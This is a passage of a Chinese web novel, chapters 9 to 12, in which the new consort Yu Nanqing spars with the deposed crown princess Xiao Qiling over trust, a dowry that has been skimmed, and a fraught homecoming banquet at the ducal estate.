二人之间水雾缭绕,郁南卿闭了闭眼,深吸一口气,抬手轻轻勾上萧祁泠的脖颈。
萧祁泠唇角挑了点弧度,像是在鼓励。
郁南卿倾靠过去,水流荡起声声涟漪,轻轻停在萧祁泠的颈侧,攥紧的指尖微微发着白,开始合计从发间拔下簪子所需要的时间。
郁南卿扬起脑袋,隔着水雾,上挑的眼尾自带旖旎的暧昧:“我可以亲吻殿下吗?”
“不可以。”萧祁泠闲散抬手,轻轻一拨,郁南卿发间的簪子被抛到池外,应声落地,青丝如瀑般散落下来。
郁南卿没想到防身的最后一件利器都萧祁泠如此警觉的收走。
萧祁泠的掌心贴上她的后背,一寸一寸轻重不一,郁南卿很快站不住,彻底摔进萧祁泠的怀里。
萧祁泠的动作终于停下来,确定了郁南卿确实没有习过武。
她刚松开手,郁南卿像是终于寻到机会反击一般,狠狠的咬了她肩膀一口。
郁南卿觉得自己的骨头都要被捏碎了:“你刚刚在干什么?”
她的脸色煞白,唯有那双狐眸艳得厉害,眼尾晕出大片的红,疼出的泪水咽湿了睫毛,委屈又莫名的色气。
萧祁泠的锁骨出传来痛意,可她也不躲,反而抬手碰了一下郁南卿湿润的眼角:“疼了怎么不躲?”
郁南卿就算不习武,也差不多能猜到萧祁泠的目的。
她不过是在赌。
赌萧祁泠不会对她下杀手。
反正,赢和输对她来说并没有那么重要。
“太疼了。”郁南卿闷闷道。
萧祁泠原以为郁南卿会说因为仰慕她所以相信她,可当这句‘太疼了’说出来时,萧祁泠又觉得十分符合郁南卿娇气的性子。
吹会儿风就起烧,多走几步就喊累。被她这么一试探,可不就疼到说不出话了?
萧祁泠安抚性的拍拍郁南卿的肩,嘱咐道:“刚刚我碰过的地方,别人若是碰了,定要第一时间避开,否则的话……”
她加重力道的几处都是一击必亡的死穴,但萧祁泠不想再吓到郁南卿,于是撩起郁南卿耳边的碎发。
“否则的话,就会像你现在这样。”
她贴近过去,嗓音轻缓:“任我宰割了。”
10. 第十章
郁南卿心口狂跳。
若萧祁泠一开始就对她说这样的话,郁南卿或许还真得想个办法搪塞过去。
但她们在这池水里都泡多久了?萧祁泠落在她肩上的手依旧克制。春宵一刻值千金,到这份上,萧祁泠甚至还在用言语恐吓她,显然是没那个心思。
没想到萧祁泠看起来国色天香冷艳动人的,内里竟然没被皇家的三宫六院污染,还算是个美色当前的纯情之人?
亦或是……对女人没有兴趣?
无论是哪一种,都让郁南卿松快不少,计上心头。
她侧过脑袋近距离佯装深情的看了萧祁泠片刻,眼睛好像带了钩子似的,十分眷恋的从萧祁泠的眉眼、鼻峰处圈圈打转,最后落到那抹薄唇上。
萧祁泠的那层亵衣都好像要被郁南卿的眼神扒下来了。
“殿下。”郁南卿的眼睛转了转,天生上扬的狐眼专注看人时好像带着无限缱绻,“我身子刚刚被您摸了一通,今夜恐怕不能很好的侍奉你了。”
萧祁泠眉梢轻轻一动。
郁南卿扭了扭腰,在萧祁泠腿上寻了个舒服的坐姿:“所以等会儿得劳烦殿下用力一些。”
萧祁泠沉默了一瞬,问:“用力?”
“多亲一亲我,把我抱得紧一些。”郁南卿坏主意上头,眉眼弯弯,“我后背疼得厉害,过会儿一定会不自主的挣扎,所以殿下一定要狠狠压着我亲,我说什么都不要放开我。”
萧祁泠:……
郁南卿见萧祁泠沉默,愈发有恃无恐,她一手握住另一手的手腕,然后做了个紧紧扣住的动作。
直到耳边一声低笑。
萧祁泠拉下郁南卿的手,握在手里细细摩挲,笑道:“原来王妃喜欢这种。”
郁南卿立刻露出一个腼腆的微笑。
“但今晚恐怕不行。”萧祁泠放开了手,瞥了一眼郁南卿,早就等着这一刻,“进来吧。”
最后的三个字显然不是对郁南卿说的,话音落下,传来屋门被推动的声音。
浴池周围有着厚厚的珠帘,隐约能窥见走动的人影。那人恭恭敬敬停在珠帘外,行了一礼道:“殿下,药材取来了。”
郁南卿想起萧祁泠方才被施过的针,刚想自觉从萧祁泠腿上下来,就听前方一声惊呼:“你们趁我不在竟然——”
萧祁泠蹙眉回头。
府医带着新装满的药箱站在珠帘内,痛心疾首。
郁南卿见状乐了,动作瞬间停了下来。
萧祁泠刚扎完针就被她勾得在池子里鸳鸯戏水,这府医该不会要气炸了吧?
郁南卿一袭透白亵衣悠哉悠哉看戏,差点忍不住脸上的笑,眼尾被水汽熏红得灼眼,艳丽好似从哪个山头跑下来的狐狸精。
萧祁泠的余光扫了一眼郁南卿。
郁南卿立刻摆出一副严肃的神色,从她身上爬下来,端端正正靠池壁而坐。
萧祁泠:……
府医看起来要被气疯了,一瞧见郁南卿那狐狸精还跟她家殿下若无旁人的眉来眼去,当即大步往她们的方向走,痛心疾首捞起萧祁泠的手探脉。
“殿下,您如今气血不稳,不可行激烈之事,您是不是又把我的话当耳旁风了?”
府医一手探脉一手去开带来的药箱,盖子掀开的那一刻,清苦的药箱扑面而来,甚至盖过了暖阁内的熏香。
药材很快渗入水里,府医唠唠叨叨说了许久,时不时还把目光瞥向郁南卿的方向。
郁南卿才不管府医在怀疑什么,她可没趁人之危对萧祁泠做什么,清清白白满池子的水都可作证。
不过,郁南卿很快就乐极生悲。
——府医医术了得,配出的药草溶于池水没多久,就开始发挥药效,被萧祁泠摧残过的后背传来一阵灼烧感。
郁南卿脸色瞬间煞白。
这下她装也不用装了,眉心真心实意的紧紧拧起,呼吸跟着急促起来,因为疼痛而控制不住的泪水开始往外滚落。
萧祁泠原本并不理会府医的唠叨,像是早已习惯,身侧突然传来动静。
她转过身。
郁南卿大概真的娇气到受不了一点疼,晶莹的泪水完全不受控制,啪嗒啪嗒越落越多,眼神茫然一片,似乎不明白为何会突然发作。
……只是保养经络的药草就能哭成这幅惨状。
察觉到萧祁泠的视线,郁南卿似有所感的抬起头,发白的嘴含着微红的舌尖,对萧祁泠说了句:“殿下,我骨头该不会被你捏碎了吧。”
府医一听这话,突然看向郁南卿。
她的药草对于正常人起不了作用,所以她倒下去时也没顾及郁南卿,此刻见郁南卿这副模样,也顾不得郁南卿勾引没勾引她家殿下,就要去水下捞郁南卿的手。
“没碎。”
萧祁泠先一步越过府医,直接将人从池水里抱了起来,将人放到一开始的美人塌上。她看向跟上来的府医:“你过来替她看看。”
离了池水,郁南卿果真觉得好一些了。
萧祁泠披上里衣,打量郁南卿弱不禁风的模样,温柔道:“别怕,那些草药对你身体无害,只是你身子虚有些受不住。”
“现在好些了罢?”
郁南卿轻轻眨了一下湿漉漉的眼睫,摇摇头又点点头:“我在这儿等殿下吧,你先去泡药浴。”
萧祁泠似乎还是有些不放心,转头跟府医交代几句磨骨之事,又问郁南卿:“让府医替你扎几针可以吗?明早醒来便好了。”
郁南卿乖顺的点头:“我相信殿下。”
她刚说完,就晕在了萧祁泠的怀里。
醒来晨光已熹微。
郁南卿昨夜起先是装晕。
萧祁泠警惕性太高,她怕继续下去萧祁泠又会要求侍寝,索性借伤晕倒了事。
府医不知为何也没给她施针,后来似乎在她背上敷了层东西,温热的渗入肌肤中,催得她彻底睡了过去。
醒来时背部已无半点不适,然后就对上了萧祁泠的脸。
郁南卿两辈子,除了未长成时同纪氏睡,就都没跟人同榻而眠过。此刻睁开眼就看到萧祁泠的睡颜……说实话,有点点被吓到。
萧祁泠长得其实很好看,五官无可挑剔,柔美又不失深邃立体,眉毛并非女子身上常见的柳叶眉或是娥眉,扮作男装时也不会如寻常女子那般被一眼戳穿。
“本王长得可合王妃心意?”
萧祁泠不知何时睁了眼,露出五官中最好看的那双眼睛。
郁南卿一惊,待反应过来时整个人都往后退了段距离,脸色有些勉强:“殿下晨安。”
萧祁泠懒懒撑起身,墨发随着动作倾泻,饶有兴致的打量着请安的王妃:“看来王妃无大碍了。”
郁南卿低声问:“昨夜多谢殿下照顾,我晕过去后,可有何不妥之处?”
萧祁泠挑了下眉。
自然是有的。
昨天本想把人交给府医照顾,结果郁南卿手里攥着她的衣服不松手,害得她配了郁南卿一整夜。
府医拿相对温和的药草给郁南卿敷背时,郁南卿脸上的泪水还全蹭到她身上,偏偏睡着了的郁南卿还极不安生,做了梦还在喊‘娘’,可怜兮兮的。
要不是因为原国公夫人离世多年,萧祁泠动了几分恻隐之心,当场就想把人扔出暖阁。
萧祁泠心里也窝着火气,又不想让郁南卿知道她昨晚照顾了人。此刻看着郁南卿清醒后的这幅正经模样,低笑一声语气幽幽道:“王妃出自百年公府,言行举止自无不妥之处。”
郁南卿呼出口气。
萧祁泠:“尤其是在床笫之中十分配合,本王甚是满意。”
“咳……咳咳咳……”霎那间郁南卿爆发出剧烈的惊咳声,“你说什么?”
连敬称都省了。
萧祁泠并不介意,她看着郁南卿茫然的双眼,倒是找到几分昨晚晕过去后乖顺的模样。
郁南卿的惊讶只维持了几瞬,便迅速冷静下来。
萧祁泠又在骗她。
萧祁泠想演,她就陪萧祁泠演到底。
郁南卿搭在被面上的指尖收紧,指节处泛起了白,低头时面颊泛起一层薄红,十分无措。
萧祁泠欣赏够了,掀开被子:“过来替我更衣。”
郁南卿并不想。
萧祁泠有手有脚还有这么多丫鬟上赶着伺候,她才不过去。
郁南卿继续娇羞得不敢见人。
萧祁泠起身的动作一顿,没有站起来,而是意味不明的停顿着。
气氛变得安静沉默。
郁南卿闭了下眼,有气无力的爬过去:“殿下稍等。”
萧祁泠撩开了床帏,温柔的笑:“王妃
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
真是体贴。”
门外的丫鬟听到动静进了屋,体贴的将萧祁泠的衣裙递给郁南卿。
从萧祁泠的角度,可以清楚的看到郁南卿低垂的眉眼。郁南卿的手指生得极为漂亮,又细又长,穿过衣带的动作极为灵活,颇为赏心悦目。
萧祁泠细细端详郁南卿的动作,提起她昨夜发现的一处细节:“王妃这般美人处处生得精致,可惜手上带了层茧,倒是有些可惜了。”
郁南卿系衣带的动作一顿,对于萧祁泠的第一句深以为然,至于后半句……就不那么讨喜了。
萧祁泠哪里是在遗憾,分明是想问她手上的茧从何而来。
世家小姐十指不沾阳春水,手上自然是不会有瑕疵的。
郁南卿被试探多回,此刻内心已毫无波动,甚至有点想笑。寒窗苦读多年,手上自然会留下些印记。
郁南卿作出脸皮薄的羞恼:“殿下是嫌弃我了吗?”
“并无此意。”萧祁泠摩挲着她的脸颊,“莫非王妃在国公府中还要做些粗活?”
郁南卿涩声:“我女红一向不佳,练的多了,也就留了印子。”
萧祁泠松开手,笑道:“能把手练成你这样的可不多,看来王妃对自己要求颇高。我这帕子确实有些素净,就麻烦王妃了。”
郁南卿面不改色的给萧祁泠的衣带系了个死结:“……好。”
“就绣个简单的鸳鸯戏水吧。”萧祁泠提议道。
郁南卿咬牙:“好。”
别说漂亮的鸳鸯了,她连只鸭子都绣不好。
给萧祁泠绣两只掉毛鸭算了。
用过早膳后,郁南卿被萧祁泠带去了书房。
这是郁南卿第二回踏入这里,上一回来是找萧祁泠为她撑腰,书房重地,她很好的克制着自己的眼睛,不给自己招惹麻烦。
到了书房后,郁南卿知晓了萧祁泠带她过来的目的。
管家嬷嬷已经带着册子等在那里,见到她们后礼节周到的行了礼:“殿下,王妃,这是清点完毕的王妃嫁妆名册,其中有出入之处皆已被圈起来。”
萧祁泠看了眼郁南卿,管家立刻转了方向,将册子恭恭敬敬递给郁南卿:“王妃请过目。”
郁南卿本以为还要等几日,没想到宁王府的人动作这么快。她随意翻动几页,眸光渐渐冷下。
她要做点什么才能让国公府把这一笔笔账还回来?
是打破郁南博谋取春闱名额平步高升的美梦,还是揭露她的好父亲为宸王贩卖私盐的罪证?
萧祁泠打量了郁南卿许久,郁南卿还在翻动册子,一身青色衣裙站在窗边,袖袍随风而动,似有几分强撑起的落寞。
她的目光顺着郁南卿的视线,落在册子的朱红笔迹上。
萧祁泠皱了眉。
怎会如此之多?
嫁妆于是出嫁女在夫家安身立命的本钱,嫁妆越多,夫家就越是尊重。
当日郁南卿的嫁妆抬进府时,饶是见惯宫中喜宴的萧祁泠也不免有些惊讶。可如今这些嫁妆却皆被动了手脚,国公府哪里是在克扣嫁妆,分明是要让郁南卿在宁王府抬不起头。
这哪里是在结亲家,分明是在结仇。
想起昨日郁南卿找她来告状之事,萧祁泠原本觉得麻烦,此刻看着郁南卿这副落寞到没出息的样,冲管家做了个手势,让人退了出去。
然后走向郁南卿,将册子夺了过来。
郁南卿回神,眸中冷意顿消,不知道萧祁泠又要发什么神经。
萧祁泠语带奚落:“有什么值得你看那么久,看得多了你的嫁妆就能变回来吗?”
郁南卿昨日找萧祁泠告状也是一时兴起,想试探萧祁泠能不能把手伸到国公府去。
此刻冷静下来,也觉得有些强人所难。
“不劳殿下烦心。”
萧祁泠看了眼外头的天色,指节在册子上轻轻扣了两下,“今日是三朝回门的日子?”
郁南卿此刻不想演戏,也不乐意搭理她,十分敷衍的‘嗯’了声。
萧祁泠强行捏过郁南卿的下巴,逼人看向她,低笑声道:“那我陪你回去。”
郁南卿皱眉。
萧祁泠舒展的眉目在蜀绣金蟒裙襦映衬下几分妖孽,带着点冰冷的视线从册子上逡巡而过,像是又要折磨人。
“总不能,让你白告状吧?”
11. 第十一章
萧祁泠说要陪郁南卿回去省亲后,着人跑了趟国公府。
不消半个时辰,凶神恶煞的废太子被冲喜冲活了的传言,开始在大街小巷传开。
皇家轶事向来都是百姓们最为好奇的谈资。城中有名的赌坊在宁王大婚当日便开了赌盘,一边倒的压向郁三小姐活不过数日,于是赌盘直接被改成了郁三小姐到底能在宁王府活上几日。
今日宁王府的车架一出现在长安街上,小半个京城的百姓都来街上看热闹。看热闹又不敢看得太过明目张胆,于是,街上小贩的生意都较往常好了不少。
郁南卿身披萧祁泠身上同款白色鹤氅,靠在马车上揉着肚子。
出门前萧祁泠特意招人煎了三大碗药汤给她,也不知道里头放了什么,又酸又苦。
再看看萧祁泠,中毒中得都要被针扎成刺猬了,也没见她多喝几碗。
郁南卿幽幽叹了口气。
萧祁泠正好转过身,对上郁南卿的视线。
郁南卿冲她抿嘴笑了下,随口提议:“殿下难得出府,等会儿可要出去走走?”
“难得出府的是你。”萧祁泠并不在意被郁南卿知道这一点。
郁南卿被噎了一下,顿时不想跟萧祁泠说话了。
她拉了下披风,侧过身不搭理人。
马车又行了段距离,忽地制停下来。
郁南卿猝不及防地往前一扑。
萧祁泠出门时换了衣服。衣袍上的绣纹和配饰比女装要硬朗不少,郁南卿撞得脑袋发晕。
萧祁泠将人捞起,看郁南卿的鼻尖都红了,浅淡漂亮的双眸蓄出零星水汽,顿时有些异样感。
郁南卿很快从萧祁泠怀里退出来,漂亮的眸子看向马车内的小案桌,鼻梁上一抹红若隐若现。
“殿下,有孩童嬉戏。”
小厮的声音拉回了萧祁泠的目光,细长的手指掀开马车帘一角,望向长街,落在街边小贩延绵的花灯上。
正月十五,朝花之节。
萧祁泠若有所思的看了眼郁南卿,而后对小厮吩咐:“不必管。”
国公府。
自萧祁泠差人前来通知之后,国公府上上下下胆战心惊,自辰时一直等到午时也不见半分动静。
出嫁女回门例来皆是早晨归家,由娘家设宴款待新婿与出嫁女。郁南卿出嫁后,国公府上下就没一个人想过郁南卿还有机会回来的,因此到了三朝回门的日子,也没有做任何准备。
整个国公府忙活半日,眼见着日头渐高,郁南柔捏着帕子不愿再等:“爹,我们都在这站那么久了,郁南卿真的会回来吗?还有那位宁王,来通报的人确确实实说了宁王会来?”
郁秉儒的脸色也不大好看,几日前礼部尚书告老还乡,尚书之位犹如郁秉儒的囊中之物,朝中官员道贺声不断,正是春风满面之时。
“只说你三姐姐会回门省亲,宁王或许会一同过来。”
就算这个‘或许’的概率极低,郁秉儒也不得不在这里恭恭敬敬的等着。
“老爷,该不会是三丫头的主意吧?如今她攀了高枝知道我们拿她没办法,连你也敢戏弄。”一旁的李氏温柔小意的替郁秉儒拉了拉衣襟。
郁秉儒想起郁南卿出嫁前用郁南柔威胁他的话,脸色顿时更为难看:“你没有招惹她吧?”
李氏直呼冤枉:“妾身这几日皆在府中,哪能惹她不快?再者,三丫头人在宁王府,妾身就是想做什么也做不成啊。”
“是为夫多想了。”
郁秉府安慰了李氏几句后,宁王府的车驾出现在街道尽头。
小厮匆匆来报:“老爷,宁王府的车驾到了。”
国公府的众人迎上去。除了郁秉儒一家,国公府内旁支亲眷众多,黑压压占了国公府整个门庭。
待马车停稳,郁南卿确认了一番袖中藏的嫁妆名册,正要起身,耳边传来一道凉飕飕的声音:“你就这么下去?”
郁南卿防贼似的将嫁妆名册往袖子里藏了藏,确定不会被萧祁泠抢走后,侧头瞧了萧祁泠好几眼,恍然大悟:“殿下是觉得我们没带回门礼有失礼数?”
萧祁泠没有说话,看向郁南卿的目光更凉。
国公府几个姑姑回门时,郁南卿也见过他们的礼,贵重的礼物总是能让人高看一眼。萧祁泠身为宁王,自然也得在这方面压人一头。
她们来时就没带什么东西,萧祁泠现在倒是想起来了?
郁南卿满脑子都是被李氏贪下的嫁妆,不怎么走心的安慰萧祁泠,“今日殿下愿意纡尊来到国公府,已经是国公府的殊荣了,不必做那些虚礼。”
萧祁泠依旧看着她,没说话。
郁南卿反射性的身体绷紧:“我、我说错了吗?”
“没有。”萧祁泠轻轻笑了一声,透入的日光一寸一寸将玄色的亲王服晕染,声音很低,兴味十足。
“分明是本王不识抬举,连王妃的回门礼都忘了准备。本王就该拿出府中稀珍贵宝,三跪九叩向岳父岳母大人拜请,感谢他们将王妃嫁于我。”
郁南卿:……
郁南卿这下终于听懂了。
萧祁泠这是嫌她太积极,丢了宁王府的脸。
郁南卿也是第一回当王妃,在府里没觉得王妃的头衔有多好用,也就差使差使下人,与在国公府没有太大的不同。
乍一出门,经由萧祁泠提醒,才想起自己王妃的身份,顿时将脚收了回去,挪到马车最里头,一双眼亮晶晶的望着萧祁泠。
萧祁泠假装没看见:“王妃还在等什么,不赶紧扶着本王下去行礼?”
“殿下舟车劳顿,在车内歇够了再下去。”郁南卿微微一笑,体贴道,“我自然也得在马车内侍奉殿下。”
萧祁泠眼中终于漾起一丝满意的笑:“那就劳烦王妃了。”
马车外国公府众人好不容易把宁王府车驾盼来,却又迟迟等不到人下车,一行人跪在地上,不知道的还以为国公府被抄了家,正在清算府中人头。
有些体弱的女眷很快就要跪不住,直到一道声音自马车边响起:“皇兄,是你来了吗?”
众人抬起头,就见萧祁浚骑着高头大马,如救世主一般出现在宁王车驾旁。
马车帘被撩开,首先入眼的是一只白皙到近乎透明的手,郁南卿的视线只是在跪在地上的众人身上扫了一圈便转过身,安安静静地立在马车旁,即使对上萧祁浚探究的神色,也只是云淡风轻的点了下头。
萧祁浚再见到郁南卿,忍不住一怔。郁南卿身上的毛绒大氅雪白一片,雪青色的丝线在裙摆处穿插织成云纹,矜贵而又端庄,没有半分柔媚之气,已然不是需要向他行礼的国公府三小姐。
“你皇嫂好看吗?”萧祁泠掀开帘子走出来,狭长的冷眸忽地射向萧祁浚。
萧祁浚没想到萧祁泠真的来了,他只能暂先压下心中震惊,对二人拱了下手:“听闻今日皇兄陪皇嫂回门,弟弟许久未见皇兄,特意来看看。”
萧祁泠不甚在意的‘嗯’了声,这才看向跪在地上的众人,拢了拢金丝裘:“都起来吧,跪出毛病来了本王可担不起仗势欺人的罪名。”
“殿下哪的话。”郁秉儒不愧是官场上的老狐狸,一袭场面话说得极为漂亮,主动给萧祁泠递了台阶,“殿下贵体还未完全康健,能大驾光临国公府已然令我们蓬荜生辉。”
郁秉儒将刚刚跪地等待之事归结于萧祁泠的病情,萧祁泠勾了下唇,吩咐道:“那就劳烦国公爷带路了。”
眼见着萧祁泠愿意入府,腿脚跪倒麻木的众人终于松了口气,纷纷暗道废太子还真如传闻一般阴晴不定,若非此刻是夜晚,跪一跪哪里够,指不定要点几个人来杀一杀。
如此一想,国公府众人的神经绷得更紧,谁也不敢去触这位煞神的霉头。
萧祁泠进府后被迎到主位,国公府的宴席早已备好,流水似的被送上来,郁南卿敛眸坐在她身边,下首两侧分别是萧祁浚和郁秉儒。
气氛一时间沉默得有些诡异,不像是回门宴,倒像是在吊丧。
萧祁浚见状主动开了口,举起酒杯笑道:“当日听闻父皇想找位生辰八字合皇兄之人为皇兄冲喜,我还觉得父皇古板,没想到此法真有奇效,古人诚不欺我。”
萧祁泠脸上的疏冷之气顿消,伸出手搭上郁南卿的手背:“卿卿嫁我,确实是我的福气。”
郁南卿听到这个称呼,手中筷子‘啪嗒’一声,极为响亮的落到碗碟上,满眼惊恐的望向萧祁泠。
萧祁泠面不改色,语气中带有宠溺:“许是卿卿日日与我同吃同睡,一时半刻也不愿离开我,感动了上苍,才让我今日能来到这儿拜访国
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
公爷。”
萧祁浚震惊。
郁南卿咬了咬后槽牙,在萧祁泠鼓励的目光中,扯出一抹深情的笑:“能陪在殿下身侧,也是我的福气。”
二人若无旁人的你一言我一语,落在旁人眼里就没有那么美好了。
因发簪之事颜面大失的郁南柔这段时间很是不好过,之前交好的小姐们纷纷对她避之不及,就连那些想要攀附国公府的人也不再热络。
但只要一想到郁南卿嫁去了废太子府活不过几日,她便心中忍不住的得意,就算是今日得知郁南卿要回府,她也以为会看到一个回来国公府诉苦、狼狈不堪的人。
可传说中命不久矣的废太子不仅没有死也没有发病,还带着郁南卿风风光光的回了国公府。
郁南柔的眼睛都要红了。
桌下揪紧的手突然被握住,郁南柔侧头看向李氏,李氏朝她摇了下头,意味深长的往萧祁浚的方向看了眼。
郁南柔深吸了口气,定住心神,给李氏夹了一筷子鱼:“娘,这鱼新鲜,您多吃点。”
“不知殿下醒来后可有请太医来诊治过?”郁秉儒关心的问起萧祁泠的病情。
萧祁泠答得敷衍,余光扫到郁南卿放下的筷子上,声音停了停,转向郁南卿:“不合胃口?”
国公府今日的宴席比过节还要繁盛,郁南卿也挑不出错:“挺合的。”
只是……三碗药汤喝下去,谁还有胃口吃饭啊。
萧祁泠皱起眉。
这下,郁秉儒也朝着她的方向望过来。
郁南卿摸不准萧祁泠想听什么,脸上露出犹豫:“我来时吃了太多药,所以不大有胃口?”
萧祁泠温和道:“让人去做点清淡的菜式罢,总不能整日不吃饭。”
郁秉儒给李氏使了个眼色,李氏立刻亲亲热热地道:“三丫头喜欢什么,我最清楚不过了,我这就让人去做几份清淡的端上来。”
身后伺候的丫鬟欠身领命。
郁秉儒顺着萧祁泠的话关心郁南卿:“可是上回的风寒还未好全?你若身子不好,也稍微注意一些,别给殿下过了病气。”
郁南卿正要点头,就听萧祁泠先一步开口:“非也,卿卿的病完全是因我而起。”
说起这个,萧祁泠放下了筷子,一身玄色亲王服配上头顶华冠,贵气逼人。
她从袖中拿出一份折子,递给了萧祁浚:“恰好四弟今日也来了国公府,麻烦替我递给父皇,就无需我再进宫面圣了。”
萧祁浚接过折子,面露不解:“皇兄这是?”
萧祁泠点了下头,并不介意他翻看:“翻开看看。”
萧祁浚打开奏折,快速扫过上面熟悉的字迹,脸上温和的笑意渐渐收敛,直到看到最后,‘啪’一声将奏折合拢,像是看什么怪物一般惊恐的看着萧祁泠。
场面寂静到有点儿可怕。
来国公府前,郁南卿看着萧祁泠在书案上写了份奏章,她当时离的远,也并不打算好奇的过问。
没想到这份东西被萧祁泠带到了国公府。
再看到萧祁浚难得紧张的神色,郁南卿若有所思。
“大婚当日宁王府遇袭,刺客是凭空出现在府中的,王妃为了护我受了伤,以至于身子一直没好。”
萧祁泠脸上看不出喜怒,只是手指点了点桌面,转头,目光从郁秉儒身上扫过:“不知国公爷可有听说此事?”
郁秉儒眉心一皱:“殿下何出此言?”
“府内有侍卫把守,刺客是借助他物混入府中的。”萧祁泠进门后对待郁南卿的温和文雅消失殆尽,较平日里更为低沉的嗓音带出一股无形的威慑。
“本王原不知该从何查起,直到王妃昨日清点嫁妆,发现嫁妆与实际名册有所出入,本王今日便特意来问一问。”
一句话,让这满宴席的气氛骤然降至冰点。国公府上至郁秉儒一家,下至旁边伺候的小厮丫鬟,所有人的后背紧绷,泛起阵阵寒意。
萧祁浚握着奏折的手紧了紧,劝道:“皇兄,你当婚当日收了不少贺礼,刺客不一定藏于王妃嫁妆,这件事是不是有什么误会?”
萧祁泠抬眸,唇角扬起微笑:“那日能藏下那么多刺客的只有来自国公府的嫁妆,以及父皇的赏赐。四弟莫不是在暗示我,那些刺客是父皇派来的吧?”
12. 第十二章
“臣绝无此意,殿下,冤枉啊!”郁秉儒猛地跪倒在地上,国公府的其他亲眷也皆跟着跪了下去。
一时间,热热闹闹的席面上只剩下萧祁泠、郁南卿,以及萧祁浚三人。
屋子里静得落针可闻,这下连萧祁浚都不知该如何替国公府求情。
求了,那宁王遇刺的刺客便是文景帝派来的。
不求,谋害皇子的罪名一旦压下来,整个国公府都难逃一劫。
萧祁浚跟国公府走得本就近,李氏是他的姨娘,国公府也算得上是他半个外家姻亲,郁秉儒又即将登上礼部尚书之位,万万不能在这个节骨眼出事。
再看向自觉跪地的众人,很明显的,郁南卿的嫁妆就是缺了,才给了他这位皇兄借题发挥的机会。萧祁浚不禁在心里暗骂了句蠢货。
这事想要将国公府的关系撇清其实也很容易,只要郁南卿开口替嫁妆作保,萧祁泠总不至于真的找文景帝对峙,只能松口是宁王府的守卫不严。
他将目光投向了萧祁泠身边的郁南卿,温和一笑:“父皇婚期定得较近,国公府准备不全,皇嫂当天真将嫁妆带齐了吗?”
郁南卿事不关己的坐在萧祁泠旁边看戏,本以为萧祁浚还要同萧祁泠你来我往争辩几句,没想到萧祁浚直接把矛头引到了她这儿。
她先是一怔,而后唇角勾起意料之中的弧度,状似疑惑的问:“宸王殿下此言差矣,嫁妆不是我准备的,我怎会了解?”
萧祁浚嘴角的笑意淡下,他没想到郁南卿为了那些嫁妆,竟是分毫不在乎国公府的死活,早知道郁南卿是这般出嫁后就完完全全向着夫家的人,他就应该……
“殿下,王妃,都是妾身无能。”李氏在这时候突然向着萧祁泠的方向磕了一个头,高声道,“妾身将府中所有机灵的丫鬟都用上,也无法在短短几日点清王妃的嫁妆,因此当日送嫁过去的嫁妆与嫁妆名册上有所出入,本想着等到王妃回门之日再让王妃带过去,不料还牵扯进刺客之事,殿下明察啊。”
“本王就是想要明察才写奏折奏请父皇,怎么在国公夫人口中,倒像是本王冤枉好人了?”
萧祁泠脸上还维持着方才的笑意,静若止水的眸子在几人面上一一扫过,无情地驳了李氏想出的退路,没有任何波澜。
“妾身绝无此意。”李氏的头压得更低。
郁南博见母亲如此,也忍不住出声辩驳:“殿下若是真要清查遇刺之事,大可直接秉明圣上,交由大理寺调查、三司会审,可殿下在奏章中却直接将王妃嫁妆缺漏一事与其牵扯在一起,是否有失公允?”
“有失公允。”萧祁泠很爱笑,可她的笑与在宁王府中又不同,褪去了懒淡的调子,多了几分肃杀的寒意。
她看了郁南博片刻,像是记不起来他是谁,打趣般的问,“你又是国公府的谁?谁给你的胆子这样同本王说话?本王就算现在将你杀了,你信不信,也无人会怪本王有失公允?”
郁南博脸色煞白,他平日里结交的皆是世家之中较为文雅之人,就算是王府世子也对他客客气气,想说什么便说了,总会有人附和。
可萧祁泠的这番话却如当头一盆冷水浇头,让他彻底清醒过来。
萧祁泠是谁?
那可是前几年大齐最为尊贵的太子。
萧祁泠又是为何被废的?
因为她中毒后的疯病。
就连太子之位被废,也不是因为杀了太多的人,而是因为萧祁泠病重无法兼顾太子之位,文景帝体恤才废除太子之位,并立刻赐下‘宁王’的封号,甚至都没有让萧祁泠搬出原来的太子府,只是换了个牌匾,一应礼遇皆如从前。
他单是看到萧祁泠陪郁南卿回了府,却没想过萧祁泠只是醒了,并不是病好了。
萧祁泠就是个彻彻底底的疯子,他又怎么敢跟一个疯子讲道理?
郁南博喉咙干涩,艰难的吞咽了下,涩声道:“草民不敢。”
“皇兄!”萧祁浚强行按捺住自己的情绪,缓声劝道,“今日是王妃回门之日,本是大喜之时,就不必要见血了吧?”
萧祁泠闻言,视线突然转向旁边看戏看到眼珠子转得飞快的郁南卿。
郁南卿她前世在皇权之下战战兢兢了一辈子,还从未切身体会过权势的滋味,正看热闹看在兴头上,冷不丁撞上萧祁泠的目光,眼睫缓慢的一眨,弯下的背脊也下意识又端正的挺直回去。
“怎么了?”她用口型无声的询问萧祁泠。
“吃饱了?”萧祁泠贴心的问。
人都跪成这样了,她哪有吃饭的闲心?
郁南卿点了下头,“饱了。”
“本王身体刚好些,确实不宜见血。四弟既然提了,那本王便卖你个面子吧,这份奏章就无需四弟替本王转交了,许久未见父皇,本王改日亲自去养心殿。”
萧祁泠似乎是乏了,站起了身,召来跟在身后伺候的下人:“带本王去王妃的院落。”
郁南卿忙跟着起身,正要扶萧祁泠,萧祁泠又开口了:“王妃出嫁后念家得紧,就无需陪着本王了。”
郁南卿:?
郁南卿被萧祁泠的这番话砸得措手不及,抬头时,捕捉到萧祁泠唇角一闪而过的鼓励的笑。
她咬了咬牙,挤出一抹乖顺的笑:“多谢殿下。”
萧祁泠被人扶着去了碧澜轩,单从背影看,她是文景帝几个皇子中最为单薄的,身上总是带着一股久病的沉郁之气。
然而此刻却没人去细究萧祁泠的疯病,萧祁泠一走,跪在地上的人皆随着郁秉儒的起身,站了起来,一应视线全然望向了郁南卿,宛若三岁稚子包金过街。
郁南卿就知道萧祁泠为她出气没那么便宜,她深吸了口气,望向郁秉儒:“只是短短两日不见,父亲就算思念女儿,也不必如此盯着女儿吧?”
“郁南卿我就知道你回来没什么好事,今日之事都是你煽动宁王殿下的是不是?”
萧祁泠来国公府后就让他们被迫下跪了两回,每一回都近乎到了郁南柔这般后院小姐的极限,此刻萧祁泠一走,郁南柔终于忍不住对着郁南卿破口大骂。
